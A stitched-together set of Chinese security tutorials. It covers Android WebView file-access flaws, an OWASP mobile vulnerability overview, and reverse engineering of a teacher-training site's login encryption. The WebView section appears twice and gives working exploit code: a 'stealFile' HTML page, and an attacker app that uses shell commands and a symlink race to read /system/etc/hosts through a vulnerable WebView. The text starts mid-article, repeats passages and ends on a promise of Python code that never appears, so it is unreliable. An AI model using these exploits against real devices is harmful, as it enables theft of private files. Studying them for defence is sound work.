即使setAllowFileAccessFromFileURLs为false,我们通过一种方式也可以跨过这个限制,这个我下一次讲讲.

  首先运行WebViewFileDemo1,然后再运行AttackWebView来袭击WebView。   

    我们首先看WebViewFileDemo1,主要代码如下:

<font face=”&quot;”><font style=”font-size:16px”>package com.example.webviewfiledemo; [/size][/font][/p]  

import android.app.Activity;  

import android.content.Intent;  

import android.net.Uri;  

import android.os.Bundle;  

import android.util.Log;  

import android.webkit.JsResult;  

import android.webkit.WebChromeClient;  

import android.webkit.WebView;  

import android.widget.Toast;  

   

public class MainActivity extends Activity {  

    private WebView webView;  

    private Uri mUri;  

    private String url;  

   

    @Override 

    protected void onCreate(Bundle savedInstanceState) {  

        super.onCreate(savedInstanceState);  

        setContentView(R.layout.activity_main);  

        webView = (WebView) findViewById(R.id.webview);  

        webView.getSettings().setJavaScriptEnabled(true);  

        webView.addJavascriptInterface(new JSInterface(), “jsInterface”);  

        webView.getSettings().setAllowFileAccessFromFileURLs(false);  

        //webView.getSettings().setAllowFileAccess(false);  

        webView.setWebChromeClient(new WebChromeClient() {  

            @Override 

                public boolean onJsAlert(WebView view, String url, String message,JsResult result) {  

                //Required functionality here  

                return super.onJsAlert(view, url, message, result);  

            }  

        });  

           

        Intent i = getIntent();  

        if (i != null) {  

            mUri = i.getData();  

        }  

        if (mUri != null) {  

            url = mUri.toString();  

        }  

        if (url != null) {  

            webView.loadUrl(url);  

        }  

    }  

   

}  </font></font>

这个Activity接收来自外部的Intent,提取Intent里面的url并加载。

接着我们来看AttackWebView工程,这里就是向com.example.webviewfiledemo.MainActivity发送Intent的工程。代码如下:

public class MainActivity extends Activity {  

    public final static String HTML =   

            “<body>” +  

            “<u>Wait a few seconds.</u>” +   

            “<script>” +  

            “var d = document;”+  

            “function doitjs(){“+  

            “var xhr = new XMLHttpRequest;”+  

            “xhr.onload = function(){“+  

            “var txt = xhr.responseText;”+  

            “d.body.appendChild(d.createTextNode(txt));”+  

            “alert(txt);”+”};”+  

            “xhr.open(‘GET’,d.URL);”+  

            “xhr.send(null);”+  

            “}”+  

            “setTimeout(doitjs,8000);”+  

            “</script>”+  

            “</body>”;  

       

    public static String MY_TMP_DIR;  

   

    @Override 

    protected void onCreate(Bundle savedInstanceState) {  

        super.onCreate(savedInstanceState);  

        setContentView(R.layout.activity_main);  

        MY_TMP_DIR = getDir(“payload_odex”, MODE_PRIVATE).getAbsolutePath();  

        doit();  

    }  

       

    public void doit() {  

        String HTML_PATH = MY_TMP_DIR + “/A0″ + “.html”;  

        try {  

            cmdexec(“mkdir ” + MY_TMP_DIR);  

            cmdexec(“echo \”" + HTML + “\” > ” + HTML_PATH);  

            cmdexec(“chmod -R 777 ” + MY_TMP_DIR);  

            Thread.sleep(1000);  

            invokeVulnAPP(“file://” + HTML_PATH);  

            Thread.sleep(6000);  

            cmdexec(“rm ” + HTML_PATH);  

            cmdexec(“ln -s ” + “/system/etc/hosts” + ” ” + HTML_PATH);  

        } catch (Exception e) {  

            // TODO: handle exception  

        }  

   

    }  

   

    public void invokeVulnAPP(String url) {  

        try {  

            Intent intent = new Intent(Intent.ACTION_MAIN,Uri.parse(url));  

            intent.addCategory(Intent.CATEGORY_LAUNCHER);   

            intent.setClassName(“com.example.webviewfiledemo”, “com.example.webviewfiledemo.MainActivity”);  

            startActivity(intent);  

        } catch (Exception e) {  

            // TODO: handle exception  

        }  

    }  

   

    public void cmdexec(String cmd) {  

        try {  

            String[] tmp = new String[] { “/system/bin/sh”, “-c”, cmd };  

            Runtime.getRuntime().exec(tmp);  

        } catch (Exception e) {  

            // TODO: handle exception  

        }  

    }  

       

}

通过invokeVulnAPP,打开了com.example.webviewfiledemo.MainActivity并传递了Intent。这个Activity提取了Url,Url为/sdcard/payload_odex/A0.html,webView加载了这个html,html内容如下:

public final static String HTML =   

        “<body>” +  

        “<u>Wait a few seconds.</u>” +   

        “<script>” +  

        “var d = document;”+  

        “function doitjs(){“+  

        “var xhr = new XMLHttpRequest;”+  

        “xhr.onload = function(){“+  

        “var txt = xhr.responseText;”+  

        “d.body.appendChild(d.createTextNode(txt));”+  

        “alert(txt);”+”};”+  

        “xhr.open(‘GET’,d.URL);”+  

        “xhr.send(null);”+  

        “}”+  

        “setTimeout(doitjs,8000);”+  

        “</script>”+  

        “</body>”;

当WebViewFileDemo1工程中webView加载A0.html后,这个html的作用是延迟8秒读取A0.html本身。我们再回到AttackWebView工程,往下看代码。

cmdexec(“mkdir ” + MY_TMP_DIR); 

            cmdexec(“echo \”" + HTML + “\” > ” + HTML_PATH);   cmdexec(“chmod -R 777 ” + MY_TMP_DIR);  

            Thread.sleep(1000);  

            invokeVulnAPP(“file://” + HTML_PATH);  

            Thread.sleep(6000);  

            cmdexec(“rm ” + HTML_PATH);  

            cmdexec(“ln -s ” + “/system/etc/hosts” + ” ” + HTML_PATH);

调用完invokeVulnAPP后,6秒后,我们首先把A0.html删除,然后再重新软连接到/system/etc/hosts。注意此时当WebViewFileDemo1工程中webView加载A0.html,这个html的作用是延迟8秒读取A0.html本身,所以8秒后读取的是软连接/system/etc/hosts 。

i春秋作家:MAX丶

基本知识Android架构

  • Kernel内核层 
    漏洞危害极大,通用性强 
    驱动由于多而杂,也可能存在不少漏洞
  • Libaries系统运行库层
  • FrameWork应用框架层 
    提供一系列的服务和API的接口

    • 活动管理器
    • 内容提供器
    • 视图
    • 资源管理器
    • 通知管理器
  • Application应用层

    • 系统应用 
      主屏幕Home、联系人Contact、电话Phone、浏览器Browser
    • 其他应用 
      开发者使用应用程序框架层的API实现的程序

Andoroid常用组件

  • Acitivity活动
  • Service服务
  • BroadcastRecviver广播接收器
  • ContentProvider内容提供器

Android App常见漏洞     (OWASP Mobile Top 10)平台使用不当

  • 概述 
    平台功能的滥用,或未能使用平台的安全控制。如Intent误用、权限误用等

  • 风险 
    很广泛,可能涉及移动平台各个服务

  • 举例 
    iOS系统中,将密码数据存放在本地文件而没有存放在密钥链中,导致可以从伪加密的备份数据中读取 
    Android系统中,Intent使用不当导致恶意用户劫持修改intent的内容,以原进程的身份权限执行任意动作

  • 不安全的数据存储

  • 不安全的通信

典型漏洞及挖掘方法数据存储漏洞

  • 数据文件或目录

    • SharedPreferences 
      data/data/程序包名/shared_prefs/*.xml
      • 创建配置文件时没有使用MODE_PRIVATE模式,导致其他程序可以读取配置文件
      • 明文存储,而root用户可读,导致敏感数据泄露
    • SQLiteDatabases 
      data/data程序包名/database/*.db

      • 创建数据库时没有使用MODE_PRIVATE模式
    • InternalStorage 
      data/data/程序报名/files/*

      • MODE_PRIVATE
      • 明文存储
    • ExternalStorage 
      /mnt/sdcard/*
      • 明文存储

  • 检测方法
    • 浏览/data/data/包名目录下的各个文件和目录,检查是否存在others用户可读的文件
    • 检查配置文件、数据库等是否存在明文敏感信息
  • 挖掘方法
    • 代码检测 
      检查openFileOutput、getSharedPrefreences、openOrCreateDatabase等函数的mode参数是否为MODE_PRIVATE(0×0000)

数据通信漏洞

  • 使用HTTP等明文协议将敏感信息传送至服务端
    • 通过局域网嗅探、恶意公共WIFI、恶意代理服务、DNS劫持等手段捕获明文通信,产生中间人攻击
  • SSL证书弱校验

    • APP中缺乏对SSL证书的校验 
      客户端中应该实现X509TruestManager类,包括checkServerTrusted\checkClientTrusted\getInstance三个方法
    • 证书校验失败会导致异常,然后由应用程序对证书校验异常进行处理
    • 未对服务器证书校验会导致TLS中间人攻击 
      使用HttpsURLConnection时,实现自定义HostnameVerifier过程中未对主机名做验证,则默认不检查证书域名与站点名是否匹配。或者在设置HttpsURLConnection的HostnameVerifier时,将其设为ALLOW_ALL_HOSTNAME_VERIIER则接受所有域名.
    • 攻击方法
      • 开启Fiddler的HTTPS解析功能,生成并导出自签名证书,安装到手机中
      • 开启Fiddler代理,并允许远程主机连接该代理
    • 挖掘方法
      • 搜索.method public checkServerTrusted
      • 定位.method和end method
      • 检查是否存在return-void
      • 同理检查verify(String, SSLSession)的返回值是否恒为True、X509HostnameVerifier的参数是否为ALLOW_ALLHOSTNAME_VERIFIER

  • SSL证书强校验 
    可能通过Xp、Patch等方法绕过

组件暴露漏洞

  • Android:exported是四大组件中都有的一个属性,用来表示是否支持其他应用调用当前组件
  • 如果有intent-filter,默认值为true;反之默认则为false
  • exported导出组件的权限控制
  • 绕过认证
    • activity暴露后被第三方调用,可能在没有密码的情况下登录/重置密码
  • 敏感信息泄露
    • recviver暴露后被第三方启动,可能查看到调试等信息中包含的敏感信息
  • 越权行为

    • 低权限程序通过调用高权限程序暴露的组件,执行高权限动作
  • 挖掘方法

    • 查看AndroidManifest.xml
    • 通过drozer的attacksurface工具进行安全评估

弱加密漏洞

  • 密码硬编码 
    反编译、root查看等可以取得
  • AES/DES弱加密 
    ECB模式容易受到分析或重放攻击

WebView

主要包括三种漏洞:

  • 任意代码执行
    • Android4.2以后,通过addJavascriptInterface注解的方法可被网页中的java方法调用。如果未加过滤则可能存在漏洞
    • 挖掘方法:
      • 编写遍历对象的网页,如果存在getClass方法则存在远程代码执行漏洞
      • fiddler的before脚本可以让任意webview访问任意网页时进行测试

  • 域控制不严格
    • WebView如果打开了对JavaScript的支持,同时未对file:///形式的URL做限制,则会导致coookie、私有文件、数据库等敏感信息泄露
      • setAllowFileAccess
      • setAllowFileAccessFromFileURLs
      • setAllowUniversalAccessFromFileURLs(导致远程泄露敏感信息)
      • 通过符号链接攻击可以访问本地文件:无论怎么限制,js都能访问本文件的。而通过延时执行和将当前文件替换成指向指向其他文件的软连接就可以读取到被符号链接所指向的文件

  • 密码明文存储 
    当用户选择保存在WebViEW中输入的用户名和密码时,则会被明文保存到app目录下的data.db中 
    具有root权限的攻击者可以读取

漏洞挖掘流程总结

  • 静态分析 
    快速检测,获得分析重点目标
    • 检查AndroidManifest文件
    • 脚本分析Smali代码
  • 动态分析 
    对疑似风险进行验证和危害评估
    • 调试模式分析
    • 尝试操作/漏洞验证
    • drozer
    • 抓包分析数据及接口
  • 逆向分析 
    加密破解以及对逻辑和代码的进一步分析
    • -

  • 自动化辅助系统
    • MobSF 包括前端web界面,
    • Marvin 包括前端web界面,部署麻烦
    • Inspeckage Xposed插件

今天我们就来讲讲WebView 的漏洞

[Java] 纯文本查看 复制代码

?

示例代码地址:https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo

或者是我的github:https://github.com/MaxSecret/AppVulnerability/tree/master/WebViewFileDemo1

代码如下代码主要区别在于这次加载的attack_file.html

public class MainActivity extends Activity {  

    private WebView webView;  

    private Uri mUri;  

    private String url;  

    String mUrl1 = “file:///android_asset/html/attack_file.html”;  

    //String mUrl2 = “file:///android_asset/html/test.html”;  

   

    @Override 

    protected void onCreate(Bundle savedInstanceState) {  

        super.onCreate(savedInstanceState);  

        setContentView(R.layout.activity_main);  

        webView = (WebView) findViewById(R.id.webview);  

        webView.getSettings().setJavaScriptEnabled(true);  

        webView.addJavascriptInterface(new JSInterface(), “jsInterface”);  

        webView.getSettings().setAllowFileAccessFromFileURLs(true);  

        webView.setWebChromeClient(new WebChromeClient() {  

            @Override 

                public boolean onJsAlert(WebView view, String url, String message,JsResult result) {  

                //Required functionality here  

                return super.onJsAlert(view, url, message, result);  

            }  

        });  

        webView.loadUrl(mUrl1);  

    }  

       

       

    class JSInterface {  

        public String onButtonClick(String text) {  

            final String str = text;  

            runOnUiThread(new Runnable() {  

                @Override 

                public void run() {  

                    Log.e(“leehong2″, “onButtonClick: text = ” + str);  

                    Toast.makeText(getApplicationContext(), “onButtonClick: text = ” + str, Toast.LENGTH_LONG).show();  

                }  

            });  

               

            return “This text is returned from Java layer.  js text = ” + text;  

        }  

           

        public void onImageClick(String url, int width, int height) {  

            final String str = “onImageClick: text = ” + url + “  width = ” + width + “  height = ” + height;  

            Log.i(“leehong2″, str);  

            runOnUiThread(new Runnable() {  

                @Override 

                public void run() {  

                    Toast.makeText(getApplicationContext(), str, Toast.LENGTH_LONG).show();  

                }  

            });  

        }  

    }  

   

}

这里webView.getSettings().setAllowFileAccessFromFileURLs(true),标示可以通过javaScript访问file文件。

   我们再来看attack_file.html的代码:‘

<font style=”color:rgb(79, 79, 79)”><font face=”&quot;”><font style=”font-size:16px”><html>  

<body>  

<script>  

function stealFile()  

{  

    var file = “file:///mnt/sdcard/233.txt”;  

    var xmlHttpReq = new XMLHttpRequest();  

    xmlHttpReq.onreadystatechange = function(){  

        if(xmlHttpReq.readyState == 4){  

            alert(xmlHttpReq.responseText);  

        }  

    }  

   

xmlHttpReq.open(“GET”, file);  

xmlHttpReq.send(null);  

}  

stealFile();  

</script>  

</body>  

</html>  </font></font></font>

由于setAllowFileAccessFromFileURLs为true,所以webView.load这个html可以返回/mnt/sdcard/2333.txt的值。

如果setAllowFileAccessFromFileURLs为false,webView.load这个html不可以返回/mnt/sdcard/2333.txt的值。

即使setAllowFileAccessFromFileURLs为false,我们通过一种方式也可以跨过这个限制,这个我下一次讲讲.

  首先运行WebViewFileDemo1,然后再运行AttackWebView来袭击WebView。   

    我们首先看WebViewFileDemo1,主要代码如下:

<font face=”&quot;”><font style=”font-size:16px”>package com.example.webviewfiledemo; [/size][/font][/p]  

import android.app.Activity;  

import android.content.Intent;  

import android.net.Uri;  

import android.os.Bundle;  

import android.util.Log;  

import android.webkit.JsResult;  

import android.webkit.WebChromeClient;  

import android.webkit.WebView;  

import android.widget.Toast;  

   

public class MainActivity extends Activity {  

    private WebView webView;  

    private Uri mUri;  

    private String url;  

   

    @Override 

    protected void onCreate(Bundle savedInstanceState) {  

        super.onCreate(savedInstanceState);  

        setContentView(R.layout.activity_main);  

        webView = (WebView) findViewById(R.id.webview);  

        webView.getSettings().setJavaScriptEnabled(true);  

        webView.addJavascriptInterface(new JSInterface(), “jsInterface”);  

        webView.getSettings().setAllowFileAccessFromFileURLs(false);  

        //webView.getSettings().setAllowFileAccess(false);  

        webView.setWebChromeClient(new WebChromeClient() {  

            @Override 

                public boolean onJsAlert(WebView view, String url, String message,JsResult result) {  

                //Required functionality here  

                return super.onJsAlert(view, url, message, result);  

            }  

        });  

           

        Intent i = getIntent();  

        if (i != null) {  

            mUri = i.getData();  

        }  

        if (mUri != null) {  

            url = mUri.toString();  

        }  

        if (url != null) {  

            webView.loadUrl(url);  

        }  

    }  

   

}  </font></font>

这个Activity接收来自外部的Intent,提取Intent里面的url并加载。

接着我们来看AttackWebView工程,这里就是向com.example.webviewfiledemo.MainActivity发送Intent的工程。代码如下:

public class MainActivity extends Activity {  

    public final static String HTML =   

            “<body>” +  

            “<u>Wait a few seconds.</u>” +   

            “<script>” +  

            “var d = document;”+  

            “function doitjs(){“+  

            “var xhr = new XMLHttpRequest;”+  

            “xhr.onload = function(){“+  

            “var txt = xhr.responseText;”+  

            “d.body.appendChild(d.createTextNode(txt));”+  

            “alert(txt);”+”};”+  

            “xhr.open(‘GET’,d.URL);”+  

            “xhr.send(null);”+  

            “}”+  

            “setTimeout(doitjs,8000);”+  

            “</script>”+  

            “</body>”;  

       

    public static String MY_TMP_DIR;  

   

    @Override 

    protected void onCreate(Bundle savedInstanceState) {  

        super.onCreate(savedInstanceState);  

        setContentView(R.layout.activity_main);  

        MY_TMP_DIR = getDir(“payload_odex”, MODE_PRIVATE).getAbsolutePath();  

        doit();  

    }  

       

    public void doit() {  

        String HTML_PATH = MY_TMP_DIR + “/A0″ + “.html”;  

        try {  

            cmdexec(“mkdir ” + MY_TMP_DIR);  

            cmdexec(“echo \”" + HTML + “\” > ” + HTML_PATH);  

            cmdexec(“chmod -R 777 ” + MY_TMP_DIR);  

            Thread.sleep(1000);  

            invokeVulnAPP(“file://” + HTML_PATH);  

            Thread.sleep(6000);  

            cmdexec(“rm ” + HTML_PATH);  

            cmdexec(“ln -s ” + “/system/etc/hosts” + ” ” + HTML_PATH);  

        } catch (Exception e) {  

            // TODO: handle exception  

        }  

   

    }  

   

    public void invokeVulnAPP(String url) {  

        try {  

            Intent intent = new Intent(Intent.ACTION_MAIN,Uri.parse(url));  

            intent.addCategory(Intent.CATEGORY_LAUNCHER);   

            intent.setClassName(“com.example.webviewfiledemo”, “com.example.webviewfiledemo.MainActivity”);  

            startActivity(intent);  

        } catch (Exception e) {  

            // TODO: handle exception  

        }  

    }  

   

    public void cmdexec(String cmd) {  

        try {  

            String[] tmp = new String[] { “/system/bin/sh”, “-c”, cmd };  

            Runtime.getRuntime().exec(tmp);  

        } catch (Exception e) {  

            // TODO: handle exception  

        }  

    }  

       

}

通过invokeVulnAPP,打开了com.example.webviewfiledemo.MainActivity并传递了Intent。这个Activity提取了Url,Url为/sdcard/payload_odex/A0.html,webView加载了这个html,html内容如下:

public final static String HTML =   

        “<body>” +  

        “<u>Wait a few seconds.</u>” +   

        “<script>” +  

        “var d = document;”+  

        “function doitjs(){“+  

        “var xhr = new XMLHttpRequest;”+  

        “xhr.onload = function(){“+  

        “var txt = xhr.responseText;”+  

        “d.body.appendChild(d.createTextNode(txt));”+  

        “alert(txt);”+”};”+  

        “xhr.open(‘GET’,d.URL);”+  

        “xhr.send(null);”+  

        “}”+  

        “setTimeout(doitjs,8000);”+  

        “</script>”+  

        “</body>”;

当WebViewFileDemo1工程中webView加载A0.html后,这个html的作用是延迟8秒读取A0.html本身。我们再回到AttackWebView工程,往下看代码。

cmdexec(“mkdir ” + MY_TMP_DIR); 

            cmdexec(“echo \”" + HTML + “\” > ” + HTML_PATH);   cmdexec(“chmod -R 777 ” + MY_TMP_DIR);  

            Thread.sleep(1000);  

            invokeVulnAPP(“file://” + HTML_PATH);  

            Thread.sleep(6000);  

            cmdexec(“rm ” + HTML_PATH);  

            cmdexec(“ln -s ” + “/system/etc/hosts” + ” ” + HTML_PATH);

调用完invokeVulnAPP后,6秒后,我们首先把A0.html删除,然后再重新软连接到/system/etc/hosts。注意此时当WebViewFileDemo1工程中webView加载A0.html,这个html的作用是延迟8秒读取A0.html本身,所以8秒后读取的是软连接/system/etc/hosts 。

本文转载自看雪论坛【作者】rdsnow

不得不说,最近的 Python 蛮火的,我也稍稍了解了下,并试着用 Python 爬取网站上的数据

不过有些数据是要登陆后才能获取的,我们每年都要到某教师教育网学习一些公需科目,就拿这个网站试试,关键是对网站的分析

打开浏览器,输入网站网址 http://www.jste.net.cn ,按F12调出浏览器的开发者工具,选中 Network ,并勾选 Preserve log,防止切换网页时信息丢失

image.png

网页上输入账号,密码输入“123456”,验证码输入“abcde”,验证码不要输正确的,否则密码错5次,会被网站锁定账号30个小时,验证码倒是可以随便错

登陆后(当然登陆不上,会跳转到另一个登陆页面),在开发者工具中看到与服务器的数据交换

image.png

第一个是get验证码图片的,第二个就是向网站提交数据的,点一下第二个信息

image.png

这是个 Post 请求,重点看红框中的提交数据,randomCode就是输入的验证码了,x,y应该是点击的按钮控件的位置了,有cookie后就没有提交这个数据了,可以忽视,returnURL、appId,encrypt每次都是一样的,也不用管他,重点是 reqId 和 req 这两个 key 的值了,reqId猜想是点击按钮时取到的时间戳,可以复制这个数据到验证下 Unix时间戳(Unix timestamp)转换工具 单位选毫秒,确实是刚刚提交数据的时间,就剩下一个数据了,这个key的数值很长,下面来寻找这个数据是从哪里的来的

可以看到 login.jsp 下可以看到 encode.js、string.js、des.js 从名字上就能看出这几个是用来加密提交数据的,右键 login.jsp,选择 “Open in Sources panel”

image.png

image.png

可以跳转到 “源” 选项卡,看到 ’login.jsp‘ 的源码,如果格式混乱,比如所有代码在一行中,不便于观看,可以点击界面下方

image.png

的中括号,开发者工具会自动给你重新格式化代码。

仔细分析 login.jsp 的代码,看到

function doOk(frm) {            var el = frm.elements["loginName"];            var loginName = el.value.replace(/ /g, “”);            el.value = loginName;            if (isEmpty(loginName)) {                alert(“请输入登录名”);                el.focus();                return false;            }            el = frm.elements["pwd"];            el.value = el.value.replace(/ /g, “”);            var pwd=el.value;            if (isEmpty(el.value)) {                alert(“请输入登录密码”);                el.focus();                return false;            }            var d = new Date();            pwd = encode(loginName, pwd);//密码第一次加密,可以跟进            frm.elements["encrypt"].value = “1″;            var validCode=“”;            el=frm.elements["randomCode"];            if(el){                el.value=el.value.replace(/ /g,“”);                if (isEmpty(el.value)) {                    alert(“请输入登录密码”);                    el.focus();                    return false;                }                validCode=el.value;            }            loginName=encodeURI(loginName);//避免中文问题 进行URL编码            var reqId=(new Date()).getTime()+“”;//获取时间戳给 reqId            var str=strEnc(loginName+“\n”+pwd,reqId,validCode);//关键加密代码,可以跟进分析            frm.elements["loginName"].disabled=“true”;            frm.elements["pwd"].value=pwd;            frm.elements["pwd"].disabled=“true”;            frm.elements["req"].value=str;            frm.elements["reqId"].value=reqId;            return true;        }

找到这段代码,其中主要是对输入检查的部分,重点看这两处

pwd = encode(loginName, pwd);

此处对密码进行第一次加密

loginName=encodeURI(loginName);//避免中文问题var reqId=(new Date()).getTime()+“”;var str=strEnc(loginName+“\n”+pwd,reqId,validCode);

第一行:将用户名进行 URL 的格式编码

第二行,取时间戳赋值给 reqId

第三行传入用户名,加密后的密码和验证码进行验证,函数返回值赋给变量 str,正是提交数据的 req 的值

在两个加密函数入口设置断点,开发者工具设置断点的,只要在这个代码的行号上点击鼠标就行了,设好断点后,再次输入用户名密码和验证码,重新提交,程序被断下:

image.png

F11单步进入第一个断点,这里需要点击界面下面的中括号重新格式化下代码,单步跟进后看到:

var _$_7151 = ["encode", "ABCDEFGHIJKLMNOP", "QRSTUVWXYZabcdef", "ghijklmnopqrstuv", "wxyz0123456789+/", "=", "", "charCodeAt", "charAt", "length", "join", "reverse", "split"];window[_$_7151[0]] = function(c, e) {    function a(p) {        var q = _$_7151[1] + _$_7151[2] + _$_7151[3] + _$_7151[4] + _$_7151[5];        p = encodeURI(p);        var r = _$_7151[6];        var g, h, j = _$_7151[6];        var k, l, m, o = _$_7151[6];        var b = 0;        do {            g = p[_$_7151[7]](b++);//第一个字符            h = p[_$_7151[7]](b++);//第二个字符            j = p[_$_7151[7]](b++);//第三个字符            k = g >> 2; //得到 k            l = ((g & 3) << 4) | (h >> 4);//得到 i            m = ((h & 15) << 2) | (j >> 6);//得到 m            o = j & 63; //得到 o            if (isNaN(h)) {  //如果没有第二个字符                m = o = 64 //则取表中的第64个字符替换            } else {                if (isNaN(j)) { //如果没有第三个字符                    o = 64 //则取表中的第64个字符替换                }            }            ;r = r + q[_$_7151[8]](k) + q[_$_7151[8]](l) + q[_$_7151[8]](m) + q[_$_7151[8]](o);            g = h = j = _$_7151[6];            k = l = m = o = _$_7151[6]        } while (b < p[_$_7151[9]]);;return r    }    var d = c[_$_7151[9]];    var f = a(e)[_$_7151[12]](_$_7151[6])[_$_7151[11]]()[_$_7151[10]](_$_7151[6]);    for (var b = 0; b < (d % 2 == 0 ? 1 : 2); b++) {        f = a(f)[_$_7151[12]](_$_7151[6])[_$_7151[11]]()[_$_7151[10]](_$_7151[6])    }    ;return f}

这个函数返回的 f 就是密码第一次加密后的结果了,这个代码是用什么工具变成这样的不太清楚,如果出现 _$_7151[n] 这样的字符可以查询代码最上面的列表

代换,大致过程不详说,跟一遍就知道了,就是循环从密码中取三个字符 g、h、j,然后将三个字符的ascii码左移或右移,或和其他结果加加减减,得到的结果 k、l、m、o 查询表格替换字符,如果密码长度不是 3 的整数倍,则查表结果用 “=” 替换,将循环得到的查表结果依次连接,并反序,得到一个密码加密后的密码

至少将密码进行两次这样的加密计算,如果用户名的长度是奇数,再进行一次加密,加密的过程只需要复制代码到 python 中,修改成  python 的格式就可以了。

步过了对密码的第一次加密后,继续步进上面设下的第二个断点

function strEnc(data,firstKey,secondKey,thirdKey){    var leng = data.length;//取 data 的长度    var encData = “”;    var firstKeyBt,secondKeyBt,thirdKeyBt,firstLength,secondLength,thirdLength;    if(firstKey != null && firstKey != “”){        firstKeyBt = getKeyBytes(firstKey);//取 firstkey 在每个字符之间插入一个字节的 0        firstLength = firstKeyBt.length;//取得插入 0 后的长度    }    if(secondKey != null && secondKey != “”){        secondKeyBt = getKeyBytes(secondKey);//取 secondkey 在每个字符之间插入一个字节的 0        secondLength = secondKeyBt.length;//取得插入 0 后的长度    }    if(thirdKey != null && thirdKey != “”){ //登陆过程中,并没用到 thirdkey,即 thirdKey = None        thirdKeyBt = getKeyBytes(thirdKey);//取 thirdkey 在每个字符之间插入一个字节的 0        thirdLength = thirdKeyBt.length;//取得插入 0 后的长度    }    if(leng > 0){         if(leng < 4){ 如果 data 的长度<4,因为跳过,代码用省略号替换            //省去一些代码……            }else{            var iterator = parseInt(leng/4);//data 的长度除 64,得到循环次数            var remainder = leng%4; //data 的长度是否是 64 位的整数倍,保存余数            var i=0;            for(i = 0;i < iterator;i++){ //开始循环                var tempData = data.substring(i*4+0,i*4+4); //循环取 data 的64 位                var tempByte = strToBt(tempData);//转换成 bits                var encByte ;                if(firstKey != null && firstKey !=“” && secondKey != null && secondKey != “” ){                    var tempBt;                    var x,y;                    tempBt = tempByte;                    for(x = 0;x < firstLength ;x ++){                        tempBt = enc(tempBt,firstKeyBt[x]);//循环从firstkey 中取得64 位做密钥,依次对 data 中的某一段加密                    }                    for(y = 0;y < secondLength ;y ++){                        tempBt = enc(tempBt,secondKeyBt[y]);//循环从second中取得64 位做密钥,依次对 data 中的某一段加密                    }                    encByte = tempBt;//保存加密结果                }            //…………            if(remainder > 0){  //如果 data 有多余的长度,不足64 位                var remainderData = data.substring(iterator*4+0,leng);                var tempByte = strToBt(remainderData);//将余下的分到4个16位的数组中                var encByte ;                if(firstKey != null && firstKey !=“” && secondKey != null && secondKey != “” && thirdKey != null ){                    var tempBt;                    var x,y,z;                    tempBt = tempByte;                    for(x = 0;x < firstLength ;x ++){                        tempBt = enc(tempBt,firstKeyBt[x]);循环从firstkey 中取得64 位做密钥,依次对 data 中的某一段加密                    }                    for(y = 0;y < secondLength ;y ++){                        tempBt = enc(tempBt,secondKeyBt[y]);循环从secondkey中取得64 位做密钥,依次对 data 中的某一段加密                    }                    encByte = tempBt;//保存加密结果                }                encData += bt64ToHex(encByte);//将加密后的文本转为16进制文本            }        }    }    return encData;//返回加密结果}

这是一段循环进行 DES 加密的代码,先将data, firstkey, secondkey进行字符间插入一个字节的0, 然后不是 64 位整数倍长度的从上面代码看,相当于在后面补上 0 了
从data中取出一段64位数据,循环用 firstkey 和 second 中的 64 位做密钥,层层加密,得到的结果和 data 中其他 64 位加密的结果串联后就是 req 的值了
因为 key 都是 64 位的,再加上本身 sources 中也看到了 DES.js 文件,所以 enc(tempBt,secondkeyBt)应该就是 DES 算法了。
但是自己写代码模拟登陆确发现结果和自己跟的结果不同,从代码中看,DES 采用了 ECB 模式,不是 CBC 模式,PAD_mode 也没问题,都64位,不需要 DES 自己填充啊。没办法,只得硬着头皮继续跟进 DES 加密的代码

我们知道,DES 加密需要先对 key 进行 置换,得到 56 位密钥,标准的 DES 都有个置换表,正常的 DES 置换表是这样的

Permutation and translation tables for DES        __pc1 = [56, 48, 40, 32, 24, 16, 8,               0, 57, 49, 41, 33, 25, 17,               9, 1, 58, 50, 42, 34, 26,               18, 10, 2, 59, 51, 43, 35,               62, 54, 46, 38, 30, 22, 14,               6, 61, 53, 45, 37, 29, 21,               13, 5, 60, 52, 44, 36, 28,               20, 12, 4, 27, 19, 11, 3               ]

即将 key 的第 56 位放到第 0 位,第 48 位放到第 1 位…………最后置换出 56 位的 key,再分成 2 个28 密钥,循环左移和右移,然后 对 IP 置换后的 data 加密,进行 Sbox 盒替换 和 Pbox 替换,再进行一次 IP-1 置换得到密文,解密算法一样。

但跟进 DES 加密函数没多久就发现问题了,找到密钥置换的函数

var keys = generateKeys(keyByte);

并跟进:

function generateKeys(keyByte){    var key   = new Array(56);    var keys = new Array();    keys[ 0] = new Array();    keys[ 1] = new Array();    keys[ 2] = new Array();    keys[ 3] = new Array();    keys[ 4] = new Array();    keys[ 5] = new Array();    keys[ 6] = new Array();    keys[ 7] = new Array();    keys[ 8] = new Array();    keys[ 9] = new Array();    keys[10] = new Array();    keys[11] = new Array();    keys[12] = new Array();    keys[13] = new Array();    keys[14] = new Array();    keys[15] = new Array();    var loop = [1,1,2,2,2,2,2,2,1,2,2,2,2,2,2,1];//看到了循环移位的表,没看到置换表    for(i=0;i<7;i++){        for(j=0,k=7;j<8;j++,k–){            key[i*8+j]=keyByte[8*k+i];//用了这个循环生成 56 位         }    }//省略代码}

这里修改了标准的置换表,用了一个嵌套循环生成 56 位密钥,即把

原来 key 的 56 位 –> 第 0 位,48 位 –> 第 1 位,40 位 –> 第 2 位,…………0 位–> 第 7 位

原来 key 的 57 位 –> 第 8 位,49 位 –> 第 9 位,41 位 –> 第 10 位,………… 1 位 –>第 15 位

…………

最后丢弃原 key 的第 63,55,47,39,31,23,15,7 位(位置号从 0 开始)

在 python 中不能直接使用标准的 DES库了,可以把标准库中的 pyDes.py 文件拷贝到工程同目录下,改名为 Des,py,并导入工程

from Des import *

另外在 Des.py 中找到 key 的置换表,修改成

__pc1 = [        56, 48, 40, 32, 24, 16, 8, 0,        57, 49, 41, 33, 25, 17, 9, 1,        58, 50, 42, 34, 26, 18, 10, 2,        59, 51, 43, 35, 27, 19, 11, 3,        60, 52, 44, 36, 28, 20, 12, 4,        61, 53, 45, 37, 29, 21, 13, 5,        62, 54, 46, 38, 30, 22, 14, 6    ]

就可以正常使用 Des 了

最后附上 python 代码:

